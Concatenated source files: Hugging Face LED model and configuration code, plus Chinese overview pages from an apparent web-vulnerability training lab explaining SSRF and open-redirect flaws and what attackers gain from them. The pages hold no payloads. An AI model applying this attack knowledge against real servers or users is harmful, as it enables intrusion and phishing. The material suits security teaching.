return self.shared
def set_input_embeddings(self, value):
self.shared = value
self.encoder.embed_tokens = self.shared
self.decoder.embed_tokens = self.shared
def get_encoder(self):
return self.encoder
def get_decoder(self):
return self.decoder
@add_start_docstrings_to_model_forward(LED_INPUTS_DOCSTRING)
@add_code_sample_docstrings(
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=Seq2SeqModelOutput,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids: Optional[torch.LongTensor] = None,
attention_mask: Optional[torch.Tensor] = None,
decoder_input_ids: Optional[torch.LongTensor] = None,
decoder_attention_mask: Optional[torch.LongTensor] = None,
head_mask: Optional[torch.Tensor] = None,
decoder_head_mask: Optional[torch.Tensor] = None,
cross_attn_head_mask: Optional[torch.Tensor] = None,
encoder_outputs: Optional[Tuple[Tuple[torch.FloatTensor]]] = None,
global_attention_mask: Optional[torch.FloatTensor] = None,
past_key_values: Optional[Tuple[Tuple[torch.FloatTensor]]] = None,
inputs_embeds: Optional[torch.FloatTensor] = None,
decoder_inputs_embeds: Optional[torch.FloatTensor] = None,
use_cache: Optional[bool] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[Tuple[torch.Tensor], LEDSeq2SeqModelOutput]:
output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions
output_hidden_states = (
output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states
)
use_cache = use_cache if use_cache is not None else self.config.use_cache
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
# Using this like Bart, as LED is derived from it. So far
# No checkpoint on the hub exists that uses that in practice.
# https://github.com/huggingface/transformers/blob/ac3cb660cad283163f7c73cad511124e845ca388/src/transformers/models/bart/modeling_bart.py#L1153
if decoder_input_ids is None and decoder_inputs_embeds is None:
decoder_input_ids = shift_tokens_right(
input_ids, self.config.pad_token_id, self.config.decoder_start_token_id
)
if encoder_outputs is None:
encoder_outputs = self.encoder(
input_ids=input_ids,
attention_mask=attention_mask,
global_attention_mask=global_attention_mask,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
# If the user passed a tuple for encoder_outputs, we wrap it in a LEDEncoderBaseModelOutput when return_dict=False
elif return_dict and not isinstance(encoder_outputs, LEDEncoderBaseModelOutput):
encoder_outputs = LEDEncoderBaseModelOutput(
last_hidden_state=encoder_outputs[0],
hidden_states=encoder_outputs[1] if len(encoder_outputs) > 1 else None,
attentions=encoder_outputs[2] if len(encoder_outputs) > 2 else None,
global_attentions=encoder_outputs[3] if len(encoder_outputs) > 3 else None,
)
# decoder outputs consists of (dec_features, past_key_value, dec_hidden, dec_attn)
decoder_outputs = self.decoder(
input_ids=decoder_input_ids,
attention_mask=decoder_attention_mask,
encoder_hidden_states=encoder_outputs[0],
encoder_attention_mask=attention_mask,
head_mask=decoder_head_mask,
cross_attn_head_mask=cross_attn_head_mask,
past_key_values=past_key_values,
inputs_embeds=decoder_inputs_embeds,
use_cache=use_cache,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
if not return_dict:
return decoder_outputs + encoder_outputs
return LEDSeq2SeqModelOutput(
last_hidden_state=decoder_outputs.last_hidden_state,
past_key_values=decoder_outputs.past_key_values,
decoder_hidden_states=decoder_outputs.hidden_states,
decoder_attentions=decoder_outputs.attentions,
cross_attentions=decoder_outputs.cross_attentions,
encoder_last_hidden_state=encoder_outputs.last_hidden_state,
encoder_hidden_states=encoder_outputs.hidden_states,
encoder_attentions=encoder_outputs.attentions,
encoder_global_attentions=encoder_outputs.global_attentions,
)
@add_start_docstrings(
"The LED Model with a language modeling head. Can be used for summarization.", LED_START_DOCSTRING
)
class LEDForConditionalGeneration(LEDPreTrainedModel):
base_model_prefix = "led"
_keys_to_ignore_on_load_missing = [
r"final_logits_bias",
r"encoder.version",
r"decoder.version",
r"lm_head.weight",
"decoder.embed_tokens.weight",
"encoder.embed_tokens.weight",
]
def __init__(self, config: LEDConfig):
super().__init__(config)
self.led = LEDModel(config)
self.register_buffer("final_logits_bias", torch.zeros((1, self.led.shared.num_embeddings)))
self.lm_head = nn.Linear(config.d_model, self.led.shared.num_embeddings, bias=False)
# Initialize weights and apply final processing
self.post_init()
def get_encoder(self):
return self.led.get_encoder()
def get_decoder(self):
return self.led.get_decoder()
def resize_token_embeddings(self, new_num_tokens: int) -> nn.Embedding:
new_embeddings = super().resize_token_embeddings(new_num_tokens)
self._resize_final_logits_bias(new_num_tokens)
return new_embeddings
def _resize_final_logits_bias(self, new_num_tokens: int) -> None:
old_num_tokens = self.final_logits_bias.shape[-1]
if new_num_tokens <= old_num_tokens:
new_bias = self.final_logits_bias[:, :new_num_tokens]
else:
extra_bias = torch.zeros((1, new_num_tokens - old_num_tokens), device=self.final_logits_bias.device)
new_bias = torch.cat([self.final_logits_bias, extra_bias], dim=1)
self.register_buffer("final_logits_bias", new_bias)
def get_output_embeddings(self):
return self.lm_head
def set_output_embeddings(self, new_embeddings):
self.lm_head = new_embeddings
@add_start_docstrings_to_model_forward(LED_INPUTS_DOCSTRING)
@replace_return_docstrings(output_type=Seq2SeqLMOutput, config_class=_CONFIG_FOR_DOC)
@add_end_docstrings(LED_GENERATION_EXAMPLE)
def forward(
self,
input_ids: Optional[torch.LongTensor] = None,
attention_mask: Optional[torch.Tensor] = None,
decoder_input_ids: Optional[torch.LongTensor] = None,
decoder_attention_mask: Optional[torch.LongTensor] = None,
head_mask: Optional[torch.Tensor] = None,
decoder_head_mask: Optional[torch.Tensor] = None,
cross_attn_head_mask: Optional[torch.Tensor] = None,
encoder_outputs: Optional[Tuple[Tuple[torch.FloatTensor]]] = None,
global_attention_mask: Optional[torch.FloatTensor] = None,
past_key_values: Optional[Tuple[Tuple[torch.FloatTensor]]] = None,
inputs_embeds: Optional[torch.FloatTensor] = None,
decoder_inputs_embeds: Optional[torch.FloatTensor] = None,
labels: Optional[torch.LongTensor] = None,
use_cache: Optional[bool] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[Tuple[torch.Tensor], LEDSeq2SeqLMOutput]:
r"""
labels (`torch.LongTensor` of shape `(batch_size, sequence_length)`, *optional*):
Labels for computing the masked language modeling loss. Indices should either be in `[0, ...,
config.vocab_size]` or -100 (see `input_ids` docstring). Tokens with indices set to `-100` are ignored
(masked), the loss is only computed for the tokens with labels in `[0, ..., config.vocab_size]`.
Returns:
Conditional generation example:
```python
>>> from transformers import AutoTokenizer, LEDForConditionalGeneration
>>> tokenizer = AutoTokenizer.from_pretrained("allenai/led-base-16384")
>>> TXT = "My friends are <mask> but they eat too many carbs."
>>> model = LEDForConditionalGeneration.from_pretrained("allenai/led-base-16384")
>>> input_ids = tokenizer([TXT], return_tensors="pt")["input_ids"]
>>> prediction = model.generate(input_ids)[0]
>>> print(tokenizer.decode(prediction, skip_special_tokens=True))
```"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
if labels is not None:
if use_cache:
logger.warning("The `use_cache` argument is changed to `False` since `labels` is provided.")
use_cache = False
if decoder_input_ids is None and decoder_inputs_embeds is None:
decoder_input_ids = shift_tokens_right(
labels, self.config.pad_token_id, self.config.decoder_start_token_id
)
outputs = self.led(
input_ids,
attention_mask=attention_mask,
decoder_input_ids=decoder_input_ids,
decoder_attention_mask=decoder_attention_mask,
encoder_outputs=encoder_outputs,
global_attention_mask=global_attention_mask,
head_mask=head_mask,
decoder_head_mask=decoder_head_mask,
cross_attn_head_mask=cross_attn_head_mask,
past_key_values=past_key_values,
inputs_embeds=inputs_embeds,
decoder_inputs_embeds=decoder_inputs_embeds,
use_cache=use_cache,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
lm_logits = self.lm_head(outputs[0]) + self.final_logits_bias
masked_lm_loss = None
if labels is not None:
loss_fct = CrossEntropyLoss()
masked_lm_loss = loss_fct(lm_logits.view(-1, self.config.vocab_size), labels.view(-1))
if not return_dict:
output = (lm_logits,) + outputs[1:]
return ((masked_lm_loss,) + output) if masked_lm_loss is not None else output
return LEDSeq2SeqLMOutput(
loss=masked_lm_loss,
logits=lm_logits,
past_key_values=outputs.past_key_values,
decoder_hidden_states=outputs.decoder_hidden_states,
decoder_attentions=outputs.decoder_attentions,
cross_attentions=outputs.cross_attentions,
encoder_last_hidden_state=outputs.encoder_last_hidden_state,
encoder_hidden_states=outputs.encoder_hidden_states,
encoder_attentions=outputs.encoder_attentions,
encoder_global_attentions=outputs.encoder_global_attentions,
)
def prepare_inputs_for_generation(
self,
decoder_input_ids,
past_key_values=None,
attention_mask=None,
global_attention_mask=None,
head_mask=None,
decoder_head_mask=None,
cross_attn_head_mask=None,
use_cache=None,
encoder_outputs=None,
**kwargs,
):
# cut decoder_input_ids if past is used
if past_key_values is not None:
decoder_input_ids = decoder_input_ids[:, -1:]
return {
"input_ids": None, # encoder_outputs is defined. input_ids not needed
"encoder_outputs": encoder_outputs,
"past_key_values": past_key_values,
"decoder_input_ids": decoder_input_ids,
"attention_mask": attention_mask,
"global_attention_mask": global_attention_mask,
"head_mask": head_mask,
"decoder_head_mask": decoder_head_mask,
"cross_attn_head_mask": cross_attn_head_mask,
"use_cache": use_cache, # change this to avoid caching (presumably for debugging)
}
def prepare_decoder_input_ids_from_labels(self, labels: torch.Tensor):
return shift_tokens_right(labels, self.config.pad_token_id, self.config.decoder_start_token_id)
@staticmethod
def _reorder_cache(past_key_values, beam_idx):
reordered_past = ()
for layer_past in past_key_values:
# cached cross_attention states don't have to be reordered -> they are always the same
reordered_past += (
tuple(past_state.index_select(0, beam_idx) for past_state in layer_past[:2]) + layer_past[2:],
)
return reordered_past
@add_start_docstrings(
"""
LED model with a sequence classification/head on top (a linear layer on top of the pooled output) e.g. for GLUE
tasks.
""",
LED_START_DOCSTRING,
)
class LEDForSequenceClassification(LEDPreTrainedModel):
_keys_to_ignore_on_load_missing = ["decoder.embed_tokens.weight", "encoder.embed_tokens.weight"]
def __init__(self, config: LEDConfig, **kwargs):
warnings.warn(
"The `transformers.LEDForSequenceClassification` class is deprecated and will be removed in version 5 of"
" Transformers. No actual method were provided in the original paper on how to perfom"
" sequence classification.",
FutureWarning,
)
super().__init__(config, **kwargs)
self.led = LEDModel(config)
self.classification_head = LEDClassificationHead(
config.d_model,
config.d_model,
config.num_labels,
config.classifier_dropout,
)
# Initialize weights and apply final processing
self.post_init()
@add_start_docstrings_to_model_forward(LED_INPUTS_DOCSTRING)
@add_code_sample_docstrings(
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=Seq2SeqSequenceClassifierOutput,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids: Optional[torch.LongTensor] = None,
attention_mask: Optional[torch.Tensor] = None,
decoder_input_ids: Optional[torch.LongTensor] = None,
decoder_attention_mask: Optional[torch.LongTensor] = None,
head_mask: Optional[torch.Tensor] = None,
decoder_head_mask: Optional[torch.Tensor] = None,
cross_attn_head_mask: Optional[torch.Tensor] = None,
encoder_outputs: Optional[Tuple[Tuple[torch.FloatTensor]]] = None,
global_attention_mask: Optional[torch.FloatTensor] = None,
inputs_embeds: Optional[torch.FloatTensor] = None,
decoder_inputs_embeds: Optional[torch.FloatTensor] = None,
labels: Optional[torch.LongTensor] = None,
use_cache: Optional[bool] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[Tuple[torch.Tensor], LEDSeq2SeqSequenceClassifierOutput]:
r"""
labels (`torch.LongTensor` of shape `(batch_size,)`, *optional*):
Labels for computing the sequence classification/regression loss. Indices should be in `[0, ...,
config.num_labels - 1]`. If `config.num_labels > 1` a classification loss is computed (Cross-Entropy).
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
if labels is not None:
use_cache = False
if input_ids is None and inputs_embeds is not None:
raise NotImplementedError(
f"Passing input embeddings is currently not supported for {self.__class__.__name__}"
)
outputs = self.led(
input_ids,
attention_mask=attention_mask,
decoder_input_ids=decoder_input_ids,
decoder_attention_mask=decoder_attention_mask,
global_attention_mask=global_attention_mask,
head_mask=head_mask,
decoder_head_mask=decoder_head_mask,
cross_attn_head_mask=cross_attn_head_mask,
encoder_outputs=encoder_outputs,
inputs_embeds=inputs_embeds,
decoder_inputs_embeds=decoder_inputs_embeds,
use_cache=use_cache,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
hidden_states = outputs[0] # last hidden state
eos_mask = input_ids.eq(self.config.eos_token_id).to(hidden_states.device)
if len(torch.unique_consecutive(eos_mask.sum(1))) > 1:
raise ValueError("All examples must have the same number of <eos> tokens.")
sentence_representation = hidden_states[eos_mask, :].view(hidden_states.size(0), -1, hidden_states.size(-1))[
:, -1, :
]
logits = self.classification_head(sentence_representation)
loss = None
if labels is not None:
if self.config.problem_type is None:
if self.config.num_labels == 1:
self.config.problem_type = "regression"
elif self.config.num_labels > 1 and (labels.dtype == torch.long or labels.dtype == torch.int):
self.config.problem_type = "single_label_classification"
else:
self.config.problem_type = "multi_label_classification"
if self.config.problem_type == "regression":
loss_fct = MSELoss()
if self.config.num_labels == 1:
loss = loss_fct(logits.squeeze(), labels.squeeze())
else:
loss = loss_fct(logits, labels)
elif self.config.problem_type == "single_label_classification":
loss_fct = CrossEntropyLoss()
loss = loss_fct(logits.view(-1, self.config.num_labels), labels.view(-1))
elif self.config.problem_type == "multi_label_classification":
loss_fct = BCEWithLogitsLoss()
loss = loss_fct(logits, labels)
if not return_dict:
output = (logits,) + outputs[1:]
return ((loss,) + output) if loss is not None else output
return LEDSeq2SeqSequenceClassifierOutput(
loss=loss,
logits=logits,
past_key_values=outputs.past_key_values,
decoder_hidden_states=outputs.decoder_hidden_states,
decoder_attentions=outputs.decoder_attentions,
cross_attentions=outputs.cross_attentions,
encoder_last_hidden_state=outputs.encoder_last_hidden_state,
encoder_hidden_states=outputs.encoder_hidden_states,
encoder_attentions=outputs.encoder_attentions,
encoder_global_attentions=outputs.encoder_global_attentions,
)
@add_start_docstrings(
"""
LED Model with a span classification head on top for extractive question-answering tasks like SQuAD (a linear layer
on top of the hidden-states output to compute `span start logits` and `span end logits`).
""",
LED_START_DOCSTRING,
)
class LEDForQuestionAnswering(LEDPreTrainedModel):
_keys_to_ignore_on_load_missing = ["decoder.embed_tokens.weight", "encoder.embed_tokens.weight"]
def __init__(self, config):
super().__init__(config)
config.num_labels = 2
self.num_labels = config.num_labels
self.led = LEDModel(config)
self.qa_outputs = nn.Linear(config.hidden_size, config.num_labels)
# Initialize weights and apply final processing
self.post_init()
@add_start_docstrings_to_model_forward(LED_INPUTS_DOCSTRING)
@add_code_sample_docstrings(
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=Seq2SeqQuestionAnsweringModelOutput,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids: Optional[torch.LongTensor] = None,
attention_mask: Optional[torch.Tensor] = None,
decoder_input_ids: Optional[torch.LongTensor] = None,
decoder_attention_mask: Optional[torch.LongTensor] = None,
head_mask: Optional[torch.Tensor] = None,
decoder_head_mask: Optional[torch.Tensor] = None,
cross_attn_head_mask: Optional[torch.Tensor] = None,
encoder_outputs: Optional[Tuple[Tuple[torch.FloatTensor]]] = None,
global_attention_mask: Optional[torch.FloatTensor] = None,
start_positions: Optional[torch.LongTensor] = None,
end_positions: Optional[torch.LongTensor] = None,
inputs_embeds: Optional[torch.FloatTensor] = None,
decoder_inputs_embeds: Optional[torch.FloatTensor] = None,
use_cache: Optional[bool] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[Tuple[torch.Tensor], LEDSeq2SeqQuestionAnsweringModelOutput]:
r"""
start_positions (`torch.LongTensor` of shape `(batch_size,)`, *optional*):
Labels for position (index) of the start of the labelled span for computing the token classification loss.
Positions are clamped to the length of the sequence (*sequence_length*). Position outside of the sequence
are not taken into account for computing the loss.
end_positions (`torch.LongTensor` of shape `(batch_size,)`, *optional*):
Labels for position (index) of the end of the labelled span for computing the token classification loss.
Positions are clamped to the length of the sequence (*sequence_length*). Position outside of the sequence
are not taken into account for computing the loss.
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
if start_positions is not None and end_positions is not None:
use_cache = False
outputs = self.led(
input_ids,
attention_mask=attention_mask,
decoder_input_ids=decoder_input_ids,
decoder_attention_mask=decoder_attention_mask,
global_attention_mask=global_attention_mask,
head_mask=head_mask,
decoder_head_mask=decoder_head_mask,
cross_attn_head_mask=cross_attn_head_mask,
encoder_outputs=encoder_outputs,
inputs_embeds=inputs_embeds,
decoder_inputs_embeds=decoder_inputs_embeds,
use_cache=use_cache,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output = outputs[0]
logits = self.qa_outputs(sequence_output)
start_logits, end_logits = logits.split(1, dim=-1)
start_logits = start_logits.squeeze(-1).contiguous()
end_logits = end_logits.squeeze(-1).contiguous()
total_loss = None
if start_positions is not None and end_positions is not None:
# If we are on multi-GPU, split add a dimension
if len(start_positions.size()) > 1:
start_positions = start_positions.squeeze(-1)
if len(end_positions.size()) > 1:
end_positions = end_positions.squeeze(-1)
# sometimes the start/end positions are outside our model inputs, we ignore these terms
ignored_index = start_logits.size(1)
start_positions = start_positions.clamp(0, ignored_index)
end_positions = end_positions.clamp(0, ignored_index)
loss_fct = CrossEntropyLoss(ignore_index=ignored_index)
start_loss = loss_fct(start_logits, start_positions)
end_loss = loss_fct(end_logits, end_positions)
total_loss = (start_loss + end_loss) / 2
if not return_dict:
output = (
start_logits,
end_logits,
) + outputs[1:]
return ((total_loss,) + output) if total_loss is not None else output
return LEDSeq2SeqQuestionAnsweringModelOutput(
loss=total_loss,
start_logits=start_logits,
end_logits=end_logits,
past_key_values=outputs.past_key_values,
decoder_hidden_states=outputs.decoder_hidden_states,
decoder_attentions=outputs.decoder_attentions,
cross_attentions=outputs.cross_attentions,
encoder_last_hidden_state=outputs.encoder_last_hidden_state,
encoder_hidden_states=outputs.encoder_hidden_states,
encoder_attentions=outputs.encoder_attentions,
encoder_global_attentions=outputs.encoder_global_attentions,
)
|
2740908911/Pilot-Web | 2,832 | pilot-client/pages/ssrf/index.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>SSRF-概述</title>
<link rel="stylesheet"
href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>概述</strong></h3>
</div>
<div class="card-body">
<div class="markdown prose w-full break-words dark:prose-invert light">
<p>SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,利用服务器端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务器端发起的,所以服务器能请求到与自身相连而外网隔离的内部系统)。</p>
<p>SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用发起请求获取数据的功能,但没有对目标地址做过滤与限制;攻击者可以任意修改获取数据的地址,向指定的URL地址发起请求,获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。</p>
<p>SSRF的最大的危害在于穿透了网络边界,但具体能做到哪种程度还需要根据业务环境来判断:</p>
<ol>
<li><p>扫描内网,获取端口开放情况、banner信息等</p></li>
<li><p>对内网的一些系统进行攻击,如SQL注入</p></li>
<li><p>读取任意文件</p></li>
<li><p>……</p></li>
</ol>
<p>简而言之:SSRF利用存在缺陷的Web应用作为代理攻击远程和本地的服务器。</p>
</div>
</div>
</div>
</div>
</section>
</div>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("SSRF服务器端请求伪造", ["概述"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
</body>
</html> |
2740908911/Pilot-Web | 2,796 | pilot-client/pages/urlredirect/index.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>URL重定向-概述</title>
<link rel="stylesheet"
href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>概述</strong></h3>
</div>
<div class="card-body">
<div class="markdown prose w-full break-words dark:prose-invert light">
<p>URL跳转漏洞(URL Redirection)又叫开放重定向漏洞(Open Redirect),是一种常见的网络安全漏洞,该漏洞通常出现在需要用户输入URL的业务场景中,如重置密码、绑定邮箱等。该漏洞的根本原因是没有对用户提供的URL进行充分的验证和过滤,导致攻击者可以通过构造恶意URL,将用户重定向到任意的网站或应用程序中。</p>
<p>URL跳转一般以用户客户端为主要攻击目标,危害大致有:</p>
<ol>
<li><p>钓鱼攻击: 攻击者可以将用户重定向到伪装成合法网站的钓鱼网站,以获取用户的敏感信息,如用户名、密码、银行账户等。</p></li>
<li><p>恶意软件传播: 攻击者可以将用户重定向到恶意网站,从而下载和安装恶意软件,对用户设备进行感染。</p></li>
<li><p>网络针对性攻击: 攻击者可以将用户重定向到特定的恶意网站,利用浏览器或插件漏洞来攻击用户的系统。</p></li>
<li><p>品牌声誉受损: 恶意重定向可能会导致受攻击网站的品牌声誉受损,用户会失去对该网站的信任。</p></li>
</ol>
</div>
</div>
</div>
</div>
</section>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("URL重定向", ["概述"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
</body>
</html> |
27182812/ChatGLM-LLaMA-chinese-insturct | 7,633 | src/transformers/models/led/configuration_led.py | # coding=utf-8
# Copyright 2021 Iz Beltagy, Matthew E. Peters, Arman Cohan and The HuggingFace Inc. team. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
""" LED model configuration"""
from typing import List, Union
from ...configuration_utils import PretrainedConfig
from ...utils import logging
logger = logging.get_logger(__name__)
LED_PRETRAINED_CONFIG_ARCHIVE_MAP = {
"allenai/led-base-16384": "https://huggingface.co/allenai/led-base-16384/resolve/main/config.json",
# See all LED models at https://huggingface.co/models?filter=led
}
class LEDConfig(PretrainedConfig):
r"""
This is the configuration class to store the configuration of a [`LEDModel`]. It is used to instantiate an LED
model according to the specified arguments, defining the model architecture. Instantiating a configuration with the
defaults will yield a similar configuration to that of the LED
[allenai/led-base-16384](https://huggingface.co/allenai/led-base-16384) architecture.
Configuration objects inherit from [`PretrainedConfig`] and can be used to control the model outputs. Read the
documentation from [`PretrainedConfig`] for more information.
Args:
vocab_size (`int`, *optional*, defaults to 50265):
Vocabulary size of the LED model. Defines the number of different tokens that can be represented by the
`inputs_ids` passed when calling [`LEDModel`] or [`TFLEDModel`].
d_model (`int`, *optional*, defaults to 1024):
Dimensionality of the layers and the pooler layer.
encoder_layers (`int`, *optional*, defaults to 12):
Number of encoder layers.
decoder_layers (`int`, *optional*, defaults to 12):
Number of decoder layers.
encoder_attention_heads (`int`, *optional*, defaults to 16):
Number of attention heads for each attention layer in the Transformer encoder.
decoder_attention_heads (`int`, *optional*, defaults to 16):
Number of attention heads for each attention layer in the Transformer decoder.
decoder_ffn_dim (`int`, *optional*, defaults to 4096):
Dimensionality of the "intermediate" (often named feed-forward) layer in decoder.
encoder_ffn_dim (`int`, *optional*, defaults to 4096):
Dimensionality of the "intermediate" (often named feed-forward) layer in decoder.
activation_function (`str` or `function`, *optional*, defaults to `"gelu"`):
The non-linear activation function (function or string) in the encoder and pooler. If string, `"gelu"`,
`"relu"`, `"silu"` and `"gelu_new"` are supported.
dropout (`float`, *optional*, defaults to 0.1):
The dropout probability for all fully connected layers in the embeddings, encoder, and pooler.
attention_dropout (`float`, *optional*, defaults to 0.0):
The dropout ratio for the attention probabilities.
activation_dropout (`float`, *optional*, defaults to 0.0):
The dropout ratio for activations inside the fully connected layer.
classifier_dropout (`float`, *optional*, defaults to 0.0):
The dropout ratio for classifier.
max_encoder_position_embeddings (`int`, *optional*, defaults to 16384):
The maximum sequence length that the encoder might ever be used with.
max_decoder_position_embeddings (`int`, *optional*, defaults to 16384):
The maximum sequence length that the decoder might ever be used with.
init_std (`float`, *optional*, defaults to 0.02):
The standard deviation of the truncated_normal_initializer for initializing all weight matrices.
encoder_layerdrop (`float`, *optional*, defaults to 0.0):
The LayerDrop probability for the encoder. See the [LayerDrop paper](see https://arxiv.org/abs/1909.11556)
for more details.
decoder_layerdrop (`float`, *optional*, defaults to 0.0):
The LayerDrop probability for the decoder. See the [LayerDrop paper](see https://arxiv.org/abs/1909.11556)
for more details.
use_cache (`bool`, *optional*, defaults to `True`):
Whether or not the model should return the last key/values attentions (not used by all models)
Example:
```python
>>> from transformers import LEDModel, LEDConfig
>>> # Initializing a LED allenai/led-base-16384 style configuration
>>> configuration = LEDConfig()
>>> # Initializing a model from the allenai/led-base-16384 style configuration
>>> model = LEDModel(configuration)
>>> # Accessing the model configuration
>>> configuration = model.config
```"""
model_type = "led"
attribute_map = {
"num_attention_heads": "encoder_attention_heads",
"hidden_size": "d_model",
"attention_probs_dropout_prob": "attention_dropout",
"initializer_range": "init_std",
}
def __init__(
self,
vocab_size=50265,
max_encoder_position_embeddings=16384,
max_decoder_position_embeddings=1024,
encoder_layers=12,
encoder_ffn_dim=4096,
encoder_attention_heads=16,
decoder_layers=12,
decoder_ffn_dim=4096,
decoder_attention_heads=16,
encoder_layerdrop=0.0,
decoder_layerdrop=0.0,
use_cache=True,
is_encoder_decoder=True,
activation_function="gelu",
d_model=1024,
dropout=0.1,
attention_dropout=0.0,
activation_dropout=0.0,
init_std=0.02,
decoder_start_token_id=2,
classifier_dropout=0.0,
pad_token_id=1,
bos_token_id=0,
eos_token_id=2,
attention_window: Union[List[int], int] = 512,
**kwargs,
):
self.vocab_size = vocab_size
self.max_encoder_position_embeddings = max_encoder_position_embeddings
self.max_decoder_position_embeddings = max_decoder_position_embeddings
self.d_model = d_model
self.encoder_ffn_dim = encoder_ffn_dim
self.encoder_layers = encoder_layers
self.encoder_attention_heads = encoder_attention_heads
self.decoder_ffn_dim = decoder_ffn_dim
self.decoder_layers = decoder_layers
self.decoder_attention_heads = decoder_attention_heads
self.dropout = dropout
self.attention_dropout = attention_dropout
self.activation_dropout = activation_dropout
self.activation_function = activation_function
self.init_std = init_std
self.encoder_layerdrop = encoder_layerdrop
self.decoder_layerdrop = decoder_layerdrop
self.classifier_dropout = classifier_dropout
self.use_cache = use_cache
self.num_hidden_layers = encoder_layers
self.attention_window = attention_window
super().__init__(
pad_token_id=pad_token_id,
bos_token_id=bos_token_id,
eos_token_id=eos_token_id,
is_encoder_decoder=is_encoder_decoder,
decoder_start_token_id=decoder_start_token_id,
**kwargs,
)
|
2740908911/Pilot-Web | 4,552 | pilot-client/pages/urlredirect/urlredirect.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>URL重定向-不安全的URL跳转</title>
<link rel="stylesheet" href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
